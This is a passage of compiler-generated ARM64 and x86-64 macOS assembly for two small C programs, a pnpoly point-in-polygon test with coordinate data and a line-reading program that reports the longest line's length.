[sp, #8] b LBB1_8 LBB1_8: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF movi d0, #0000000000000000 adrp x8, lCPI1_0@PAGE ldr d1, [x8, lCPI1_0@PAGEOFF] bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_10 b LBB1_9 LBB1_9: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_10 LBB1_10: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #-0.50000000 fmov d1, #2.50000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_12 b LBB1_11 LBB1_11: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_12 LBB1_12: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #-1.00000000 fmov d1, #-0.50000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_14 b LBB1_13 LBB1_13: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_14 LBB1_14: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #-1.50000000 fmov d1, #0.50000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_16 b LBB1_15 LBB1_15: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_16 LBB1_16: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #-2.25000000 fmov d1, #-1.00000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_18 b LBB1_17 LBB1_17: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_18 LBB1_18: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #0.50000000 fmov d1, #-0.25000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_20 b LBB1_19 LBB1_19: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_20 LBB1_20: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #0.50000000 fmov d1, #-1.25000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_22 b LBB1_21 LBB1_21: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_22 LBB1_22: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #-0.50000000 fmov d1, #-2.50000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_24 b LBB1_23 LBB1_23: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_24 LBB1_24: ldr w0, [sp, #8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .p2align 2 ; -- Begin function pnpoly _pnpoly: ; @pnpoly .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 str w0, [sp, #60] str x1, [sp, #48] str x2, [sp, #40] str d0, [sp, #32] str d1, [sp, #24] str wzr, [sp, #12] str wzr, [sp, #20] ldr w8, [sp, #60] subs w8, w8, #1 str w8, [sp, #16] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #20] ldr w9, [sp, #60] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_10 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldr x8, [sp, #40] ldrsw x9, [sp, #20] ldr d0, [x8, x9, lsl #3] ldr d1, [sp, #24] fcmp d0, d1 cset w8, hi tbnz w8, #0, LBB2_4 b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 ldr d0, [sp, #24] ldr x8, [sp, #40] ldrsw x9, [sp, #16] ldr d1, [x8, x9, lsl #3] fcmp d0, d1 cset w8, mi tbnz w8, #0, LBB2_6 b LBB2_4 LBB2_4: ; in Loop: Header=BB2_1 Depth=1 ldr x8, [sp, #40] ldrsw x9, [sp, #16] ldr d0, [x8, x9, lsl #3] ldr d1, [sp, #24] fcmp d0, d1 cset w8, hi tbnz w8, #0, LBB2_8 b LBB2_5 LBB2_5: ; in Loop: Header=BB2_1 Depth=1 ldr d0, [sp, #24] ldr x8, [sp, #40] ldrsw x9, [sp, #20] ldr d1, [x8, x9, lsl #3] fcmp d0, d1 cset w8, pl tbnz w8, #0, LBB2_8 b LBB2_6 LBB2_6: ; in Loop: Header=BB2_1 Depth=1 ldr d0, [sp, #32] ldr x8, [sp, #48] ldrsw x9, [sp, #16] ldr d1, [x8, x9, lsl #3] ldr x8, [sp, #48] ldrsw x9, [sp, #20] ldr d2, [x8, x9, lsl #3] fsub d1, d1, d2 ldr d2, [sp, #24] ldr x8, [sp, #40] ldrsw x9, [sp, #20] ldr d3, [x8, x9, lsl #3] fsub d2, d2, d3 fmul d1, d1, d2 ldr x8, [sp, #40] ldrsw x9, [sp, #16] ldr d2, [x8, x9, lsl #3] ldr x8, [sp, #40] ldrsw x9, [sp, #20] ldr d3, [x8, x9, lsl #3] fsub d2, d2, d3 fdiv d1, d1, d2 ldr x8, [sp, #48] ldrsw x9, [sp, #20] ldr d2, [x8, x9, lsl #3] fadd d1, d1, d2 fcmp d0, d1 cset w8, pl tbnz w8, #0, LBB2_8 b LBB2_7 LBB2_7: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #12] subs w8, w8, #0 cset w8, eq and w8, w8, #0x1 str w8, [sp, #12] b LBB2_8 LBB2_8: ; in Loop: Header=BB2_1 Depth=1 b LBB2_9 LBB2_9: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #20] add w9, w8, #1 str w9, [sp, #20] str w8, [sp, #16] b LBB2_1 LBB2_10: ldr w0, [sp, #12] add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "*** wrong result ***\n" .section __DATA,__data .p2align 3 ; @xp _xp: .quad 0x0000000000000000 ; double 0 .quad 0x3ff0000000000000 ; double 1 .quad 0x3ff0000000000000 ; double 1 .quad 0x0000000000000000 ; double 0 .quad 0x0000000000000000 ; double 0 .quad 0x3ff0000000000000 ; double 1 .quad 0xbfe0000000000000 ; double -0.5 .quad 0xbff0000000000000 ; double -1 .quad 0xbff0000000000000 ; double -1 .quad 0xc000000000000000 ; double -2 .quad 0xc004000000000000 ; double -2.5 .quad 0xc000000000000000 ; double -2 .quad 0xbff8000000000000 ; double -1.5 .quad 0xbfe0000000000000 ; double -0.5 .quad 0x3ff0000000000000 ; double 1 .quad 0x3ff0000000000000 ; double 1 .quad 0x0000000000000000 ; double 0 .quad 0xbfe0000000000000 ; double -0.5 .quad 0xbff0000000000000 ; double -1 .quad 0xbfe0000000000000 ; double -0.5 .p2align 3 ; @yp _yp: .quad 0x0000000000000000 ; double 0 .quad 0x0000000000000000 ; double 0 .quad 0x3ff0000000000000 ; double 1 .quad 0x3ff0000000000000 ; double 1 .quad 0x4000000000000000 ; double 2 .quad 0x4008000000000000 ; double 3 .quad 0x4000000000000000 ; double 2 .quad 0x4008000000000000 ; double 3 .quad 0x0000000000000000 ; double 0 .quad 0xbfe0000000000000 ; double -0.5 .quad 0xbff0000000000000 ; double -1 .quad 0xbff8000000000000 ; double -1.5 .quad 0xc000000000000000 ; double -2 .quad 0xc000000000000000 ; double -2 .quad 0xbff8000000000000 ; double -1.5 .quad 0xbff0000000000000 ; double -1 .quad 0xbfe0000000000000 ; double -0.5 .quad 0xbff0000000000000 ; double -1 .quad 0xbff0000000000000 ; double -1 .quad 0xbfe0000000000000 ; double -0.5 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movl $0, -20(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $10000, -20(%rbp) ## imm = 0x2710 jge LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 callq _run movl %eax, -24(%rbp) ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB0_1 LBB0_4: cmpl $6, -24(%rbp) je LBB0_6 ## %bb.5: leaq L_.str(%rip), %rdi movb $0, %al callq _printf LBB0_6: xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function run LCPI1_0: .quad 0x3fe0000000000000 ## double 0.5 LCPI1_1: .quad 0x3ff8000000000000 ## double 1.5 LCPI1_2: .quad 0xbfe0000000000000 ## double -0.5 LCPI1_3: .quad 0x3fe8000000000000 ## double 0.75 LCPI1_4: .quad 0x4002000000000000 ## double 2.25 LCPI1_5: .quad 0x4000147ae147ae14 ## double 2.0099999999999998 LCPI1_6: .quad 0x4004000000000000 ## double 2.5 LCPI1_7: .quad 0xbff0000000000000 ## double -1 LCPI1_8: .quad 0xbff8000000000000 ## double -1.5 LCPI1_9: .quad 0xc002000000000000 ## double -2.25 LCPI1_10: .quad 0xbfd0000000000000 ## double -0.25 LCPI1_11: .quad 0xbff4000000000000 ## double -1.25 LCPI1_12: .quad 0xc004000000000000 ## double -2.5 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _run: ## @run .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $20, -4(%rbp) movl $0, -8(%rbp) movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero movaps %xmm1, %xmm0 callq _pnpoly cmpl $0, %eax je LBB1_2 ## %bb.1: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_2: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_4 ## %bb.3: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_4: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_6 ## %bb.5: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_6: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_3(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_4(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_8 ## %bb.7: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_8: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx xorps %xmm0, %xmm0 movsd LCPI1_5(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_10 ## %bb.9: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_10: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_6(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_12 ## %bb.11: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_12: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_7(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_14 ## %bb.13: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_14: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_8(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_16 ## %bb.15: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_16: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_9(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_7(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_18 ## %bb.17: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_18: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_10(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_20 ## %bb.19: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_20: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_11(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_22 ## %bb.21: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_22: movl -4(%rbp), %edi leaq _xp(%rip), %rsi leaq _yp(%rip), %rdx movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero movsd LCPI1_12(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pnpoly cmpl $0, %eax je LBB1_24 ## %bb.23: movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) LBB1_24: movl -8(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function pnpoly _pnpoly: ## @pnpoly .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movsd %xmm0, -32(%rbp) movsd %xmm1, -40(%rbp) movl $0, -52(%rbp) movl $0, -44(%rbp) movl -4(%rbp), %eax subl $1, %eax movl %eax, -48(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 movl -44(%rbp), %eax cmpl -4(%rbp), %eax jge LBB2_10 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movq -24(%rbp), %rax movslq -44(%rbp), %rcx movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 jb LBB2_4 ## %bb.3: ## in Loop: Header=BB2_1 Depth=1 movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero movq -24(%rbp), %rax movslq -48(%rbp), %rcx movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 ja LBB2_6 LBB2_4: ## in Loop: Header=BB2_1 Depth=1 movq -24(%rbp), %rax movslq -48(%rbp), %rcx movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 jb LBB2_8 ## %bb.5: ## in Loop: Header=BB2_1 Depth=1 movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero movq -24(%rbp), %rax movslq -44(%rbp), %rcx movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 jbe LBB2_8 LBB2_6: ## in Loop: Header=BB2_1 Depth=1 movsd -32(%rbp), %xmm1 ## xmm1 = mem[0],zero movq -16(%rbp), %rax movslq -48(%rbp), %rcx movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero movq -16(%rbp), %rax movslq -44(%rbp), %rcx subsd (%rax,%rcx,8), %xmm0 movsd -40(%rbp), %xmm2 ## xmm2 = mem[0],zero movq -24(%rbp), %rax movslq -44(%rbp), %rcx subsd (%rax,%rcx,8), %xmm2 mulsd %xmm2, %xmm0 movq -24(%rbp), %rax movslq -48(%rbp), %rcx movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero movq -24(%rbp), %rax movslq -44(%rbp), %rcx subsd (%rax,%rcx,8), %xmm2 divsd %xmm2, %xmm0 movq -16(%rbp), %rax movslq -44(%rbp), %rcx addsd (%rax,%rcx,8), %xmm0 ucomisd %xmm1, %xmm0 jbe LBB2_8 ## %bb.7: ## in Loop: Header=BB2_1 Depth=1 cmpl $0, -52(%rbp) setne %al xorb $-1, %al andb $1, %al movzbl %al, %eax movl %eax, -52(%rbp) LBB2_8: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_9 LBB2_9: ## in Loop: Header=BB2_1 Depth=1 movl -44(%rbp), %eax movl %eax, %ecx addl $1, %ecx movl %ecx, -44(%rbp) movl %eax, -48(%rbp) jmp LBB2_1 LBB2_10: movl -52(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "*** wrong result ***\n" .section __DATA,__data .p2align 4 ## @xp _xp: .quad 0x0000000000000000 ## double 0 .quad 0x3ff0000000000000 ## double 1 .quad 0x3ff0000000000000 ## double 1 .quad 0x0000000000000000 ## double 0 .quad 0x0000000000000000 ## double 0 .quad 0x3ff0000000000000 ## double 1 .quad 0xbfe0000000000000 ## double -0.5 .quad 0xbff0000000000000 ## double -1 .quad 0xbff0000000000000 ## double -1 .quad 0xc000000000000000 ## double -2 .quad 0xc004000000000000 ## double -2.5 .quad 0xc000000000000000 ## double -2 .quad 0xbff8000000000000 ## double -1.5 .quad 0xbfe0000000000000 ## double -0.5 .quad 0x3ff0000000000000 ## double 1 .quad 0x3ff0000000000000 ## double 1 .quad 0x0000000000000000 ## double 0 .quad 0xbfe0000000000000 ## double -0.5 .quad 0xbff0000000000000 ## double -1 .quad 0xbfe0000000000000 ## double -0.5 .p2align 4 ## @yp _yp: .quad 0x0000000000000000 ## double 0 .quad 0x0000000000000000 ## double 0 .quad 0x3ff0000000000000 ## double 1 .quad 0x3ff0000000000000 ## double 1 .quad 0x4000000000000000 ## double 2 .quad 0x4008000000000000 ## double 3 .quad 0x4000000000000000 ## double 2 .quad 0x4008000000000000 ## double 3 .quad 0x0000000000000000 ## double 0 .quad 0xbfe0000000000000 ## double -0.5 .quad 0xbff0000000000000 ## double -1 .quad 0xbff8000000000000 ## double -1.5 .quad 0xc000000000000000 ## double -2 .quad 0xc000000000000000 ## double -2 .quad 0xbff8000000000000 ## double -1.5 .quad 0xbff0000000000000 ## double -1 .quad 0xbfe0000000000000 ## double -0.5 .quad 0xbff0000000000000 ## double -1 .quad 0xbff0000000000000 ## double -1 .quad 0xbfe0000000000000 ## double -0.5 .subsections_via_symbols
the_stack_data/518507.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] str wzr, [sp, #16] str wzr, [sp, #8] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 sub x0, x29, #18 mov w1, #10 bl _getLine str w0, [sp, #12] subs w8, w0, #0 cset w8, le tbnz w8, #0, LBB0_5 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] ldr w9, [sp, #8] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] str w8, [sp, #8] add x0, sp, #20 sub x1, x29, #18 bl _copy b LBB0_4 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 b LBB0_1 LBB0_5: ldr w8, [sp, #8] subs w8, w8, #0 cset w8, le tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ldr w9, [sp, #8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB0_7 LBB0_7: ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: bl ___stack_chk_fail LBB0_9: mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _getLine ; -- Begin function getLine .p2align 2 _getLine: ; @getLine .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] str wzr, [sp, #12] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] ldur w9, [x29, #-12] subs w9, w9, #1 subs w8, w8, w9 cset w8, ge mov w9, #0 str w9, [sp, #8] ; 4-byte Folded Spill tbnz w8, #0, LBB1_4 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 bl _getchar str w0, [sp, #16] adds w8, w0, #1 cset w8, eq mov w9, #0 str w9, [sp, #8] ; 4-byte Folded Spill tbnz w8, #0, LBB1_4 b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #16] subs w8, w8, #10 cset w8, ne str w8, [sp, #8] ; 4-byte Folded Spill b LBB1_4 LBB1_4: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #8] ; 4-byte Folded Reload tbz w8, #0, LBB1_7 b LBB1_5 LBB1_5: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #16] ldur x9, [x29, #-8] ldrsw x10, [sp, #12] strb w8, [x9, x10] b LBB1_6 LBB1_6: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB1_1 LBB1_7: ldr w8, [sp, #12] ldur w9, [x29, #-12] subs w9, w9, #1 subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_14 b LBB1_8 LBB1_8: ldur x8, [x29, #-8] ldrsw x9, [sp, #12] add x8, x8, x9 strb wzr, [x8] b LBB1_9 LBB1_9: ; =>This Inner Loop Header: Depth=1 bl _getchar str w0, [sp, #16] adds w8, w0, #1 cset w8, eq mov w9, #0 str w9, [sp, #4] ; 4-byte Folded Spill tbnz w8, #0, LBB1_11 b LBB1_10 LBB1_10: ; in Loop: Header=BB1_9 Depth=1 ldr w8, [sp, #16] subs w8, w8, #10 cset w8, ne str w8, [sp, #4] ; 4-byte Folded Spill b LBB1_11 LBB1_11: ; in Loop: Header=BB1_9 Depth=1 ldr w8, [sp, #4] ; 4-byte Folded Reload tbz w8, #0, LBB1_13 b LBB1_12 LBB1_12: ; in Loop: Header=BB1_9 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB1_9 LBB1_13: b LBB1_17 LBB1_14: ldr w8, [sp, #16] subs w8, w8, #10 cset w8, ne tbnz w8, #0, LBB1_16 b LBB1_15 LBB1_15: ldr w8, [sp, #16] ldur x9, [x29, #-8] ldrsw x10, [sp, #12] strb w8, [x9, x10] ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB1_16 LBB1_16: ldur x8, [x29, #-8] ldrsw x9, [sp, #12] add x8, x8, x9 strb wzr, [x8] b LBB1_17 LBB1_17: ldr w0, [sp, #12] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _copy ; -- Begin function copy .p2align 2 _copy: ; @copy .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] str x1, [sp, #16] str wzr, [sp, #12] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #16] ldrsw x9, [sp, #12] ldrsb w8, [x8, x9] ldr x9, [sp, #24] ldrsw x10, [sp, #12] strb w8, [x9, x10] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB2_3 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB2_1 LBB2_3: add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -32(%rbp) movl $0, -40(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 leaq -18(%rbp), %rdi movl $10, %esi callq _getLine movl %eax, -36(%rbp) cmpl $0, %eax jle LBB0_5 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -36(%rbp), %eax cmpl -40(%rbp), %eax jle LBB0_4 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -36(%rbp), %eax movl %eax, -40(%rbp) leaq -28(%rbp), %rdi leaq -18(%rbp), %rsi callq _copy LBB0_4: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_1 LBB0_5: cmpl $0, -40(%rbp) jle LBB0_7 ## %bb.6: movl -40(%rbp), %esi leaq L_.str(%rip), %rdi movb $0, %al callq _printf LBB0_7: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_9 ## %bb.8: xorl %eax, %eax addq $48, %rsp popq %rbp retq LBB0_9: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _getLine ## -- Begin function getLine .p2align 4, 0x90 _getLine: ## @getLine .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movl $0, -20(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 movl -20(%rbp), %ecx movl -12(%rbp), %edx subl $1, %edx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl %edx, %ecx movb %al, -21(%rbp) ## 1-byte Spill jge LBB1_4 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 callq _getchar movl %eax, %ecx movl %ecx, -16(%rbp) xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $-1, %ecx movb %al, -21(%rbp) ## 1-byte Spill je LBB1_4 ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 cmpl $10, -16(%rbp) setne %al movb %al, -21(%rbp) ## 1-byte Spill LBB1_4: ## in Loop: Header=BB1_1 Depth=1 movb -21(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB1_5 jmp LBB1_7 LBB1_5: ## in Loop: Header=BB1_1 Depth=1 movl -16(%rbp), %eax movb %al, %dl movq -8(%rbp), %rax movslq -20(%rbp), %rcx movb %dl, (%rax,%rcx) ## %bb.6: ## in Loop: Header=BB1_1 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB1_1 LBB1_7: movl -20(%rbp), %eax movl -12(%rbp), %ecx subl $1, %ecx cmpl %ecx, %eax jne LBB1_14 ## %bb.8: movq -8(%rbp), %rax movslq -20(%rbp), %rcx movb $0, (%rax,%rcx) LBB1_9: ## =>This Inner Loop Header: 